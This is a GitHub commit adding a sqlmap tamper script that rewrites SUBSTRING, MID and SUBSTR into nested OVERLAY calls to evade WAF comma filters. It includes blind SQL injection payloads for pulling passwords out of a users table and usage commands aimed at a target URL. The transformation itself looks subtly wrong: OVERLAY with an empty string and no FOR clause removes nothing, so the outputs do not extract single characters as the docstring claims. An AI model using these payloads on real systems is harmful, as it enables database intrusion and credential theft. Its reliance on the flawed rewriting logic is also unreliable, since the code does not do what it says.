This commit is contained in:
n00b-bot 2025-12-03 05:30:48 +08:00 committed by GitHub
commit 100a1d61bd
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

153
tamper/overlay.py Normal file
View File

@ -0,0 +1,153 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces SUBSTRING with OVERLAY function (without commas)
Tested against:
* PostgreSQL
* MySQL (limited support)
Notes:
* Replaces SUBSTRING(str, pos, len) with nested OVERLAY functions
* Works without comma characters in the query
* Useful for bypassing WAF filters that block commas
>>> tamper('SUBSTRING((SELECT password FROM users LIMIT 1) FROM 3 FOR 1)')
'OVERLAY(OVERLAY((SELECT password FROM users LIMIT 1) PLACING \\'\\' FROM 1 FOR 2) PLACING \\'\\' FROM 2)'
>>> tamper('SUBSTRING(username FROM 1 FOR 1)')
'OVERLAY(username PLACING \\'\\' FROM 2)'
>>> tamper('SUBSTRING(password,5,1)')
'OVERLAY(OVERLAY(password PLACING \\'\\' FROM 1 FOR 4) PLACING \\'\\' FROM 2)'
"""
retVal = payload
if payload:
# Pattern 1: SUBSTRING(string FROM position FOR length)
# PostgreSQL style
pattern1 = r'SUBSTRING\s*\(\s*(.+?)\s+FROM\s+(\d+)\s+FOR\s+(\d+)\s*\)'
def replace_postgres_style(match):
string = match.group(1)
position = int(match.group(2))
length = int(match.group(3))
# Only handle single character extraction (length = 1)
if length != 1:
return match.group(0)
if position == 1:
# Special case: first character
return f"OVERLAY({string} PLACING '' FROM 2)"
else:
# General case: position > 1
return f"OVERLAY(OVERLAY({string} PLACING '' FROM 1 FOR {position - 1}) PLACING '' FROM 2)"
retVal = re.sub(pattern1, replace_postgres_style, retVal, flags=re.IGNORECASE)
# Pattern 2: SUBSTRING(string, position, length)
# MySQL/Standard style with commas
pattern2 = r'SUBSTRING\s*\(\s*(.+?)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)'
def replace_mysql_style(match):
string = match.group(1)
position = int(match.group(2))
length = int(match.group(3))
# Only handle single character extraction (length = 1)
if length != 1:
return match.group(0)
if position == 1:
return f"OVERLAY({string} PLACING '' FROM 2)"
else:
return f"OVERLAY(OVERLAY({string} PLACING '' FROM 1 FOR {position - 1}) PLACING '' FROM 2)"
retVal = re.sub(pattern2, replace_mysql_style, retVal, flags=re.IGNORECASE)
# Pattern 3: MID(string, position, length) - MySQL alternative
pattern3 = r'MID\s*\(\s*(.+?)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)'
retVal = re.sub(pattern3, replace_mysql_style, retVal, flags=re.IGNORECASE)
# Pattern 4: SUBSTR(string, position, length) - Another alternative
pattern4 = r'SUBSTR\s*\(\s*(.+?)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)'
retVal = re.sub(pattern4, replace_mysql_style, retVal, flags=re.IGNORECASE)
return retVal
# Test cases for validation
if __name__ == "__main__":
test_cases = [
# PostgreSQL style
"SUBSTRING((SELECT password FROM users LIMIT 1) FROM 3 FOR 1)",
"SUBSTRING(username FROM 1 FOR 1)",
"SUBSTRING(database() FROM 5 FOR 1)",
# MySQL style
"SUBSTRING(password,5,1)",
"SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1)",
"MID(username,3,1)",
"SUBSTR(password,2,1)",
# Complex queries
"AND ASCII(SUBSTRING((SELECT password FROM users WHERE id=1),1,1))>65",
"UNION SELECT SUBSTRING(table_name FROM 1 FOR 1) FROM information_schema.tables",
# Edge cases
"SUBSTRING(col FROM 1 FOR 1)",
"SUBSTRING(col,1,1)",
]
print("=== SQLMAP TAMPER SCRIPT TEST ===\n")
for i, test in enumerate(test_cases, 1):
result = tamper(test)
print(f"Test {i}:")
print(f" Original: {test}")
print(f" Tampered: {result}")
print()
print("\n=== USAGE INSTRUCTIONS ===")
print("""
1. Save this script as 'overlay.py' in SQLMap's tamper directory:
/path/to/sqlmap/tamper/overlay.py
2. Run SQLMap with the tamper script:
python sqlmap.py -u "http://target.com/page?id=1" --tamper=overlay
3. Combine with other tampers:
python sqlmap.py -u "http://target.com/page?id=1" --tamper=overlay,space2comment
4. Use with specific DBMS:
python sqlmap.py -u "http://target.com/page?id=1" --tamper=overlay --dbms=postgresql
5. Test the tamper:
python overlay.py
Example transformation:
Before: SUBSTRING(password,3,1)
After: OVERLAY(OVERLAY(password PLACING '' FROM 1 FOR 2) PLACING '' FROM 2)
Benefits:
No comma characters in the query
Bypasses WAF filters blocking SUBSTRING
Works with PostgreSQL OVERLAY function
Supports nested subqueries
""")